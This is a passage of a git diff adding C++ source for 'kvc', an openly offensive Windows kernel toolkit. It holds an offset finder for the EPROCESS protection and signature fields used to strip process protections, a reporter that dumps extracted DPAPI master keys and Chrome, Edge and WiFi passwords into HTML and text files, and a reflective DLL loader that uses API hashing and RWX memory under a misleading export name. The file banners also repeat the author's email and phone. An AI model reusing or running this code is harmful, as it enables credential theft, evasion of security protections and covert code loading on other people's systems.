std::nullopt; + + WORD value = 0; + __try { + std::memcpy(&value, reinterpret_cast(base) + byteOffset, sizeof(value)); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return std::nullopt; + } + + // Sanity check - offsets should be reasonable for EPROCESS structure + if (value == 0 || value > 0x3000) { + return std::nullopt; + } + + return value; + } +} + +// Initialize offset finder with kernel image analysis +OffsetFinder::OffsetFinder() +{ + HMODULE rawModule = LoadLibraryW(L"ntoskrnl.exe"); + m_kernelModule = ModuleHandle(rawModule); + + if (!m_kernelModule) { + ERROR(L"OffsetFinder: Failed to load kernel image (error: %d) - verify administrator privileges", GetLastError()); + } +} + +OffsetFinder::~OffsetFinder() = default; + +std::optional OffsetFinder::GetOffset(Offset name) const noexcept +{ + if (auto it = m_offsetMap.find(name); it != m_offsetMap.end()) + return it->second; + return std::nullopt; +} + +// Master offset discovery in dependency order +bool OffsetFinder::FindAllOffsets() noexcept +{ + return FindKernelPsInitialSystemProcessOffset() && + FindProcessUniqueProcessIdOffset() && + FindProcessProtectionOffset() && + FindProcessActiveProcessLinksOffset() && + FindProcessSignatureLevelOffset() && + FindProcessSectionSignatureLevelOffset(); +} + +// PsInitialSystemProcess export location discovery +bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept +{ + if (m_offsetMap.contains(Offset::KernelPsInitialSystemProcess)) + return true; + + if (!m_kernelModule) { + ERROR(L"Cannot find PsInitialSystemProcess - kernel image not loaded"); + return false; + } + + auto pPsInitialSystemProcess = reinterpret_cast( + GetProcAddress(m_kernelModule.get(), "PsInitialSystemProcess")); + + if (!pPsInitialSystemProcess) { + ERROR(L"PsInitialSystemProcess export not found (error: %d)", GetLastError()); + + // Test if other exports are accessible + if (GetProcAddress(m_kernelModule.get(), "PsGetProcessId")) { + ERROR(L"Other kernel exports accessible - partial export table issue"); + } else { + ERROR(L"No kernel exports accessible - incompatible kernel image"); + } + return false; + } + + DWORD offset = static_cast(pPsInitialSystemProcess - reinterpret_cast(m_kernelModule.get())); + + // Sanity check for reasonable offset range + if (offset < 0x1000 || offset > 0x2000000) { + ERROR(L"PsInitialSystemProcess offset 0x%x outside reasonable range", offset); + return false; + } + + m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset; + SUCCESS(L"Found PsInitialSystemProcess offset: 0x%x", offset); + return true; +} + +// ActiveProcessLinks follows UniqueProcessId in EPROCESS structure +bool OffsetFinder::FindProcessActiveProcessLinksOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessActiveProcessLinks)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessUniqueProcessId)) + return false; + + // ActiveProcessLinks is always sizeof(HANDLE) bytes after UniqueProcessId + WORD offset = static_cast(m_offsetMap[Offset::ProcessUniqueProcessId] + sizeof(HANDLE)); + m_offsetMap[Offset::ProcessActiveProcessLinks] = offset; + return true; +} + +// UniqueProcessId offset extraction from PsGetProcessId function +bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessUniqueProcessId)) + return true; + + if (!m_kernelModule) + return false; + + FARPROC pPsGetProcessId = GetProcAddress(m_kernelModule.get(), "PsGetProcessId"); + if (!pPsGetProcessId) { + ERROR(L"PsGetProcessId export not found (error: %d)", GetLastError()); + return false; + } + + // Extract offset from function disassembly + std::optional offset; +#ifdef _WIN64 + // mov rax, [rcx+offset] - offset at bytes 3-4 + offset = SafeExtractWord(pPsGetProcessId, 3); +#else + // mov eax, [ecx+offset] - offset at bytes 2-3 + offset = SafeExtractWord(pPsGetProcessId, 2); +#endif + + if (!offset) { + ERROR(L"Failed to extract UniqueProcessId offset from PsGetProcessId function"); + return false; + } + + // Sanity check for EPROCESS structure size + if (offset.value() > 0x1500) { + ERROR(L"UniqueProcessId offset 0x%x appears too large for EPROCESS", offset.value()); + return false; + } + + m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value(); + SUCCESS(L"Found UniqueProcessId offset: 0x%x", offset.value()); + return true; +} + +// Process protection offset validation using dual function analysis +bool OffsetFinder::FindProcessProtectionOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessProtection)) + return true; + + if (!m_kernelModule) + return false; + + FARPROC pPsIsProtectedProcess = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcess"); + FARPROC pPsIsProtectedProcessLight = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcessLight"); + + if (!pPsIsProtectedProcess || !pPsIsProtectedProcessLight) { + ERROR(L"Protection function exports not found in kernel image"); + return false; + } + + // Both functions should reference the same offset + auto offsetA = SafeExtractWord(pPsIsProtectedProcess, 2); + auto offsetB = SafeExtractWord(pPsIsProtectedProcessLight, 2); + + if (!offsetA || !offsetB) { + ERROR(L"Failed to extract offsets from protection validation functions"); + return false; + } + + // Cross-validation - both functions must agree + if (offsetA.value() != offsetB.value() || offsetA.value() > 0x1500) { + ERROR(L"Protection offset validation failed: A=0x%x, B=0x%x", offsetA.value(), offsetB.value()); + return false; + } + + m_offsetMap[Offset::ProcessProtection] = offsetA.value(); + SUCCESS(L"Found ProcessProtection offset: 0x%x", offsetA.value()); + return true; +} + +// SignatureLevel precedes Protection field by 2 bytes +bool OffsetFinder::FindProcessSignatureLevelOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessSignatureLevel)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessProtection)) + return false; + + WORD offset = static_cast(m_offsetMap[Offset::ProcessProtection] - (2 * sizeof(UCHAR))); + m_offsetMap[Offset::ProcessSignatureLevel] = offset; + return true; +} + +// SectionSignatureLevel precedes Protection field by 1 byte +bool OffsetFinder::FindProcessSectionSignatureLevelOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessSectionSignatureLevel)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessProtection)) + return false; + + WORD offset = static_cast(m_offsetMap[Offset::ProcessProtection] - sizeof(UCHAR)); + m_offsetMap[Offset::ProcessSectionSignatureLevel] = offset; + return true; +} \ No newline at end of file diff --git a/kvc/OffsetFinder.h b/kvc/OffsetFinder.h new file mode 100644 index 0000000..d6c02d9 --- /dev/null +++ b/kvc/OffsetFinder.h @@ -0,0 +1,56 @@ +#pragma once + +#include "common.h" +#include +#include +#include + +// Windows kernel structure offset identifiers +enum class Offset +{ + KernelPsInitialSystemProcess, + ProcessActiveProcessLinks, + ProcessUniqueProcessId, + ProcessProtection, + ProcessSignatureLevel, + ProcessSectionSignatureLevel +}; + +// Kernel structure offset discovery and caching +class OffsetFinder +{ +public: + OffsetFinder(); + ~OffsetFinder(); + + OffsetFinder(const OffsetFinder&) = delete; + OffsetFinder& operator=(const OffsetFinder&) = delete; + OffsetFinder(OffsetFinder&&) noexcept = default; + OffsetFinder& operator=(OffsetFinder&&) noexcept = default; + + std::optional GetOffset(Offset name) const noexcept; + bool FindAllOffsets() noexcept; + +private: + // Smart module wrapper for automatic cleanup + struct ModuleDeleter + { + void operator()(HMODULE module) const noexcept + { + if (module) FreeLibrary(module); + } + }; + + using ModuleHandle = std::unique_ptr, ModuleDeleter>; + + ModuleHandle m_kernelModule; + std::unordered_map m_offsetMap; + + // Offset discovery methods for different kernel structures + bool FindKernelPsInitialSystemProcessOffset() noexcept; + bool FindProcessActiveProcessLinksOffset() noexcept; + bool FindProcessUniqueProcessIdOffset() noexcept; + bool FindProcessProtectionOffset() noexcept; + bool FindProcessSignatureLevelOffset() noexcept; + bool FindProcessSectionSignatureLevelOffset() noexcept; +}; \ No newline at end of file diff --git a/kvc/ReportExporter.cpp b/kvc/ReportExporter.cpp new file mode 100644 index 0000000..7fc6ebc --- /dev/null +++ b/kvc/ReportExporter.cpp @@ -0,0 +1,474 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "ReportExporter.h" +#include "Controller.h" +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// ReportData implementation with automatic statistics calculation +ReportData::ReportData(const std::vector& results, + const std::vector& keys, + const std::wstring& path) + : passwordResults(results), masterKeys(keys), outputPath(path) +{ + // Generate timestamp for report + time_t now = time(nullptr); + char timestampBuffer[20]; + struct tm timeInfo; + localtime_s(&timeInfo, &now); + strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo); + timestamp = timestampBuffer; + + CalculateStatistics(); +} + +void ReportData::CalculateStatistics() +{ + stats = Stats{}; + stats.masterKeyCount = static_cast(masterKeys.size()); + + // Count passwords by type + for (const auto& result : passwordResults) { + if (!result.password.empty()) { + stats.totalPasswords++; + + if (result.type.find(L"Chrome") != std::wstring::npos) + stats.chromePasswords++; + else if (result.type.find(L"Edge") != std::wstring::npos) + stats.edgePasswords++; + else if (result.type.find(L"WiFi") != std::wstring::npos) + stats.wifiPasswords++; + } + } +} + +// Professional report export in multiple formats +bool ReportExporter::ExportAllFormats(const ReportData& data) noexcept +{ + INFO(L"Generating comprehensive password reports..."); + + if (!EnsureOutputDirectory(data.outputPath)) { + ERROR(L"Failed to create output directory: %s", data.outputPath.c_str()); + return false; + } + + bool htmlSuccess = ExportHTML(data); + bool txtSuccess = ExportTXT(data); + + return htmlSuccess && txtSuccess; +} + +bool ReportExporter::ExportHTML(const ReportData& data) noexcept +{ + auto htmlPath = GetHTMLPath(data.outputPath); + std::ofstream htmlFile(htmlPath, std::ios::binary); + + if (!htmlFile.is_open()) { + ERROR(L"Failed to create HTML report: %s", htmlPath.c_str()); + return false; + } + + std::string htmlContent = GenerateHTMLContent(data); + htmlFile << htmlContent; + htmlFile.close(); + + return true; +} + +bool ReportExporter::ExportTXT(const ReportData& data) noexcept +{ + auto txtPath = GetTXTPath(data.outputPath); + std::wofstream txtFile(txtPath); + + if (!txtFile.is_open()) { + ERROR(L"Failed to create TXT report: %s", txtPath.c_str()); + return false; + } + + std::wstring txtContent = GenerateTXTContent(data); + txtFile << txtContent; + txtFile.close(); + + return true; +} + +void ReportExporter::DisplaySummary(const ReportData& data) noexcept +{ + std::wcout << L"\n"; + SUCCESS(L"=== DPAPI PASSWORD EXTRACTION SUMMARY ==="); + SUCCESS(L"Registry Master Keys: %d", data.stats.masterKeyCount); + SUCCESS(L"Total Passwords: %d", data.stats.totalPasswords); + SUCCESS(L"Chrome Passwords: %d", data.stats.chromePasswords); + SUCCESS(L"Edge Passwords: %d", data.stats.edgePasswords); + SUCCESS(L"WiFi Passwords: %d", data.stats.wifiPasswords); + SUCCESS(L"Reports Generated:"); + SUCCESS(L" - HTML: %s\\dpapi_results.html", data.outputPath.c_str()); + SUCCESS(L" - TXT: %s\\dpapi_results.txt", data.outputPath.c_str()); + std::wcout << L"\n"; +} + +// HTML content generation with modern styling +std::string ReportExporter::GenerateHTMLContent(const ReportData& data) noexcept +{ + std::ostringstream html; + + html << BuildHTMLHeader(data); + html << BuildSummarySection(data); + html << BuildMasterKeysTable(data); + html << BuildPasswordsTable(data); + html << BuildWiFiTable(data); + html << "\n\n"; + + return html.str(); +} + +std::string ReportExporter::BuildHTMLHeader(const ReportData& data) noexcept +{ + std::ostringstream header; + + header << "\n\n\n"; + header << " \n"; + header << " kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR\n"; + header << " \n"; + header << "\n\n"; + header << "
    \n"; + header << "

    🔓 kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR

    \n"; + + return header.str(); +} + +std::string ReportExporter::BuildSummarySection(const ReportData& data) noexcept +{ + std::ostringstream summary; + + summary << "
    \n"; + summary << " Generated: " << data.timestamp << "
    \n"; + summary << " Registry Master Keys: " << data.stats.masterKeyCount << "
    \n"; + summary << " Total Passwords: " << data.stats.totalPasswords << "
    \n"; + summary << " Chrome Passwords: " << data.stats.chromePasswords << "
    \n"; + summary << " Edge Passwords: " << data.stats.edgePasswords << "
    \n"; + summary << " WiFi Passwords: " << data.stats.wifiPasswords << "
    \n"; + summary << " Extraction Method: Registry DPAPI + TrustedInstaller
    \n"; + summary << " Tool: kvc v1.0.1 - marek@wesolowski.eu.org\n"; + summary << "
    \n"; + + return summary.str(); +} + +std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
    DPAPI Master Keys
    \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + for (const auto& masterKey : data.masterKeys) { + // Extract key type from full registry path + std::string keyType = "Unknown"; + if (masterKey.keyName.find(L"DPAPI_SYSTEM") != std::wstring::npos) { + keyType = "DPAPI_SYSTEM"; + } else if (masterKey.keyName.find(L"NL$KM") != std::wstring::npos) { + keyType = "NL$KM"; + } else if (masterKey.keyName.find(L"DefaultPassword") != std::wstring::npos) { + keyType = "DefaultPassword"; + } + + // Convert binary data to hex strings + std::string rawHex = BytesToHexString(masterKey.encryptedData); + std::string processedHex = BytesToHexString(masterKey.decryptedData); + + // Truncate for display if too long + if (rawHex.length() > 64) { + rawHex = rawHex.substr(0, 64) + "..."; + } + if (processedHex.length() > 64) { + processedHex = processedHex.substr(0, 64) + "..."; + } + + std::string statusClass = masterKey.isDecrypted ? "status-decrypted" : "status-extracted"; + std::string statusText = masterKey.isDecrypted ? "✓" : "⚡"; + + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n\n"; + } + + table << " \n
    Key TypeRaw Data (Hex)Processed Data (Hex)Status
    " << keyType << "" << rawHex << "" << processedHex << "" << statusText << "
    \n"; + return table.str(); +} + +std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
    Browser Passwords
    \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + // Filter and display browser passwords + for (const auto& result : data.passwordResults) { + if (result.type.find(L"Chrome") != std::wstring::npos || + result.type.find(L"Edge") != std::wstring::npos) { + + std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge"; + + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + } + } + + table << " \n
    BrowserProfileURLUsernamePasswordStatus
    " << WStringToUTF8(result.type) << "" << WStringToUTF8(result.profile) << "" << WStringToUTF8(result.url) << "" << WStringToUTF8(result.username) << "" << WStringToUTF8(result.password) << "" << WStringToUTF8(result.status) << "
    \n"; + return table.str(); +} + +std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept +{ + std::ostringstream table; + + table << "\n
    WiFi Credentials
    \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " "; + + // Filter and display WiFi credentials + for (const auto& result : data.passwordResults) { + if (result.type.find(L"WiFi") != std::wstring::npos) { + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + table << " \n"; + } + } + + table << " \n
    Network NamePasswordTypeStatus
    " << WStringToUTF8(result.profile) << "" << WStringToUTF8(result.password) << "" << WStringToUTF8(result.type) << "" << WStringToUTF8(result.status) << "
    \n"; + return table.str(); +} + +// Convert byte vector to hex string for display +std::string ReportExporter::BytesToHexString(const std::vector& bytes) noexcept +{ + if (bytes.empty()) return "N/A"; + + std::ostringstream hexStream; + hexStream << std::hex << std::setfill('0'); + + for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display + hexStream << std::setw(2) << static_cast(bytes[i]); + } + + if (bytes.size() > 32) { + hexStream << "..."; + } + + return hexStream.str(); +} + +// TXT report generation for lightweight output +std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept +{ + std::wostringstream txt; + + txt << BuildTXTHeader(data); + txt << BuildTXTMasterKeys(data); + txt << BuildTXTPasswords(data); + txt << BuildTXTWiFi(data); + + return txt.str(); +} + +std::wstring ReportExporter::BuildTXTHeader(const ReportData& data) noexcept +{ + std::wostringstream header; + + header << L"=== kvc DPAPI EXTRACTION RESULTS ===\n"; + header << L"Generated: " << std::wstring(data.timestamp.begin(), data.timestamp.end()) << L"\n"; + header << L"Registry Master Keys: " << data.stats.masterKeyCount << L"\n"; + header << L"Total Passwords: " << data.stats.totalPasswords << L"\n"; + header << L"Tool: kvc v1.0.1 - Kernel Vulnerability Capabilities Framework by WESMAR\n"; + header << L"=================================\n\n"; + + return header.str(); +} + +std::wstring ReportExporter::BuildTXTMasterKeys(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== REGISTRY MASTER KEYS ===\n"; + for (const auto& masterKey : data.masterKeys) { + section << L"Key: " << masterKey.keyName << L"\n"; + section << L"Size: " << masterKey.encryptedData.size() << L" bytes\n"; + section << L"Status: " << (masterKey.isDecrypted ? L"DECRYPTED" : L"EXTRACTED") << L"\n"; + section << L"---------------------------------\n"; + } + section << L"\n"; + + return section.str(); +} + +std::wstring ReportExporter::BuildTXTPasswords(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== BROWSER PASSWORDS ===\n"; + for (const auto& result : data.passwordResults) { + if (result.type.find(L"Chrome") != std::wstring::npos || + result.type.find(L"Edge") != std::wstring::npos) { + section << L"Browser: " << result.type << L"\n"; + section << L"Profile: " << result.profile << L"\n"; + section << L"URL: " << result.url << L"\n"; + section << L"Username: " << result.username << L"\n"; + section << L"Password: " << result.password << L"\n"; + section << L"Status: " << result.status << L"\n"; + section << L"---------------------------------\n"; + } + } + section << L"\n"; + + return section.str(); +} + +std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept +{ + std::wostringstream section; + + section << L"=== WIFI CREDENTIALS ===\n"; + for (const auto& result : data.passwordResults) { + if (result.type.find(L"WiFi") != std::wstring::npos) { + section << L"Network: " << result.profile << L"\n"; + section << L"Password: " << result.password << L"\n"; + section << L"Status: " << result.status << L"\n"; + section << L"---------------------------------\n"; + } + } + section << L"\n"; + + return section.str(); +} + +// Utility functions for file handling and encoding +std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept +{ + if (wstr.empty()) return ""; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL); + std::string strTo(size_needed, 0); + WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL); + return strTo; +} + +std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept +{ + return outputPath + L"\\dpapi_results.html"; +} + +std::wstring ReportExporter::GetTXTPath(const std::wstring& outputPath) noexcept +{ + return outputPath + L"\\dpapi_results.txt"; +} + +bool ReportExporter::EnsureOutputDirectory(const std::wstring& path) noexcept +{ + if (!fs::exists(path)) { + try { + fs::create_directories(path); + return true; + } catch (...) { + return false; + } + } + return true; +} \ No newline at end of file diff --git a/kvc/ReportExporter.h b/kvc/ReportExporter.h new file mode 100644 index 0000000..7939601 --- /dev/null +++ b/kvc/ReportExporter.h @@ -0,0 +1,78 @@ +#pragma once + +#include "common.h" +#include +#include + +struct PasswordResult; +struct RegistryMasterKey; + +// Report data aggregation with automatic statistics +struct ReportData +{ + std::vector passwordResults; + std::vector masterKeys; + std::wstring outputPath; + std::string timestamp; + + struct Stats { + int totalPasswords = 0; + int chromePasswords = 0; + int edgePasswords = 0; + int wifiPasswords = 0; + int masterKeyCount = 0; + } stats; + + ReportData() = default; + ReportData(const std::vector& results, + const std::vector& keys, + const std::wstring& path); + +private: + void CalculateStatistics(); +}; + +// Professional report export in multiple formats +class ReportExporter +{ +public: + ReportExporter() = default; + ~ReportExporter() = default; + + ReportExporter(const ReportExporter&) = delete; + ReportExporter& operator=(const ReportExporter&) = delete; + ReportExporter(ReportExporter&&) noexcept = default; + ReportExporter& operator=(ReportExporter&&) noexcept = default; + + // Main export interface + bool ExportAllFormats(const ReportData& data) noexcept; + bool ExportHTML(const ReportData& data) noexcept; + bool ExportTXT(const ReportData& data) noexcept; + + void DisplaySummary(const ReportData& data) noexcept; + +private: + // HTML generation with obfuscated markup + std::string GenerateHTMLContent(const ReportData& data) noexcept; + std::string BuildHTMLHeader(const ReportData& data) noexcept; + std::string BuildSummarySection(const ReportData& data) noexcept; + std::string BuildMasterKeysTable(const ReportData& data) noexcept; + std::string BuildPasswordsTable(const ReportData& data) noexcept; + std::string BuildWiFiTable(const ReportData& data) noexcept; + + // TXT generation for lightweight output + std::wstring GenerateTXTContent(const ReportData& data) noexcept; + std::wstring BuildTXTHeader(const ReportData& data) noexcept; + std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept; + std::wstring BuildTXTPasswords(const ReportData& data) noexcept; + std::wstring BuildTXTWiFi(const ReportData& data) noexcept; + + // Utility functions for encoding and paths + std::string WStringToUTF8(const std::wstring& wstr) noexcept; + std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept; + std::wstring GetTXTPath(const std::wstring& outputPath) noexcept; + bool EnsureOutputDirectory(const std::wstring& path) noexcept; + + // Utility for DPAPI key display + std::string BytesToHexString(const std::vector& bytes) noexcept; +}; \ No newline at end of file diff --git a/kvc/SelfLoader.cpp b/kvc/SelfLoader.cpp new file mode 100644 index 0000000..2fee2ef --- /dev/null +++ b/kvc/SelfLoader.cpp @@ -0,0 +1,282 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// SelfLoader.cpp +#include +#include +#include +#include "SelfLoader.h" + +#pragma intrinsic(_ReturnAddress) +#pragma intrinsic(_rotr) + +namespace { + // Position-independent code generation helper for hash computation + DWORD ror_dword_loader(DWORD d) noexcept + { + return _rotr(d, HASH_KEY); + } + + // Generate runtime hash for API name resolution + DWORD hash_string_loader(const char* c) noexcept + { + DWORD h = 0; + do + { + h = ror_dword_loader(h); + h += *c; + } while (*++c); + return h; + } + + // Get current instruction pointer for position-independent addressing + __declspec(noinline) ULONG_PTR GetIp() noexcept + { + return reinterpret_cast(_ReturnAddress()); + } +} + +// Manual PE loader with base relocation support for security modules +DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpLoaderParameter) +{ + LOADLIBRARYA_FN fnLoadLibraryA = nullptr; + GETPROCADDRESS_FN fnGetProcAddress = nullptr; + VIRTUALALLOC_FN fnVirtualAlloc = nullptr; + NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = nullptr; + + ULONG_PTR uiModuleBase = GetIp(); + ULONG_PTR uiKernel32Base = 0; + ULONG_PTR uiNtdllBase = 0; + + // Locate current module base by walking backwards from instruction pointer + while (true) + { + auto pDosHeader = reinterpret_cast(uiModuleBase); + if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + auto pNtHeaders = reinterpret_cast(uiModuleBase + pDosHeader->e_lfanew); + if (pNtHeaders->Signature == IMAGE_NT_SIGNATURE) + break; + } + uiModuleBase--; + } + + // Retrieve Process Environment Block based on target architecture + auto pPeb = GET_PEB(); + auto pLdr = pPeb->Ldr; + auto pModuleList = &(pLdr->InMemoryOrderModuleList); + auto pCurrentEntry = pModuleList->Flink; + + // Walk PEB loader data to locate system libraries + while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase)) + { + auto pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_MINIMAL, InMemoryOrderLinks); + if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != nullptr) + { + DWORD dwModuleHash = 0; + USHORT usCounter = pEntry->BaseDllName.Length; + auto pNameByte = reinterpret_cast(pEntry->BaseDllName.Buffer); + + // Generate case-insensitive hash for module name comparison + do + { + dwModuleHash = ror_dword_loader(dwModuleHash); + if (*pNameByte >= 'a' && *pNameByte <= 'z') + { + dwModuleHash += (*pNameByte - 0x20); + } + else + { + dwModuleHash += *pNameByte; + } + pNameByte++; + } while (--usCounter); + + if (dwModuleHash == KERNEL32DLL_HASH) + { + uiKernel32Base = reinterpret_cast(pEntry->DllBase); + } + else if (dwModuleHash == NTDLLDLL_HASH) + { + uiNtdllBase = reinterpret_cast(pEntry->DllBase); + } + } + pCurrentEntry = pCurrentEntry->Flink; + } + + if (!uiKernel32Base || !uiNtdllBase) + return 0; + + // Parse kernel32.dll export directory for required APIs + auto pDosKernel32 = reinterpret_cast(uiKernel32Base); + auto pNtKernel32 = reinterpret_cast(uiKernel32Base + pDosKernel32->e_lfanew); + auto uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + auto pExportDirK32 = reinterpret_cast(uiExportDirK32); + + auto uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames; + auto uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions; + auto uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals; + + // Resolve critical Windows APIs by hash comparison + for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++) + { + auto sName = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfNamesK32)[i]); + const DWORD dwHashVal = hash_string_loader(sName); + + if (dwHashVal == LOADLIBRARYA_HASH) + fnLoadLibraryA = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + else if (dwHashVal == GETPROCADDRESS_HASH) + fnGetProcAddress = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + else if (dwHashVal == VIRTUALALLOC_HASH) + fnVirtualAlloc = reinterpret_cast(uiKernel32Base + reinterpret_cast(uiAddressOfFunctionsK32)[reinterpret_cast(uiAddressOfNameOrdinalsK32)[i]]); + + if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc) + break; + } + + if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc) + return 0; + + // Parse ntdll.dll export directory for instruction cache management + auto pDosNtdll = reinterpret_cast(uiNtdllBase); + auto pNtNtdll = reinterpret_cast(uiNtdllBase + pDosNtdll->e_lfanew); + auto uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + auto pExportDirNtdll = reinterpret_cast(uiExportDirNtdll); + + auto uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames; + auto uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions; + auto uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals; + + for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++) + { + auto sName = reinterpret_cast(uiNtdllBase + reinterpret_cast(uiAddressOfNamesNtdll)[i]); + if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH) + { + fnNtFlushInstructionCache = reinterpret_cast(uiNtdllBase + reinterpret_cast(uiAddressOfFunctionsNtdll)[reinterpret_cast(uiAddressOfNameOrdinalsNtdll)[i]]); + break; + } + } + + if (!fnNtFlushInstructionCache) + return 0; + + // Allocate memory for relocated image in target virtual address space + auto pOldNtHeaders = reinterpret_cast(uiModuleBase + reinterpret_cast(uiModuleBase)->e_lfanew); + const auto uiNewImageBase = reinterpret_cast(fnVirtualAlloc(nullptr, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)); + if (!uiNewImageBase) + return 0; + + // Copy PE headers to new memory location + auto pSourceBytes = reinterpret_cast(uiModuleBase); + auto pDestinationBytes = reinterpret_cast(uiNewImageBase); + const DWORD dwHeadersSize = pOldNtHeaders->OptionalHeader.SizeOfHeaders; + + std::copy(pSourceBytes, pSourceBytes + dwHeadersSize, pDestinationBytes); + + // Copy all sections to their virtual addresses + auto pSectionHeader = 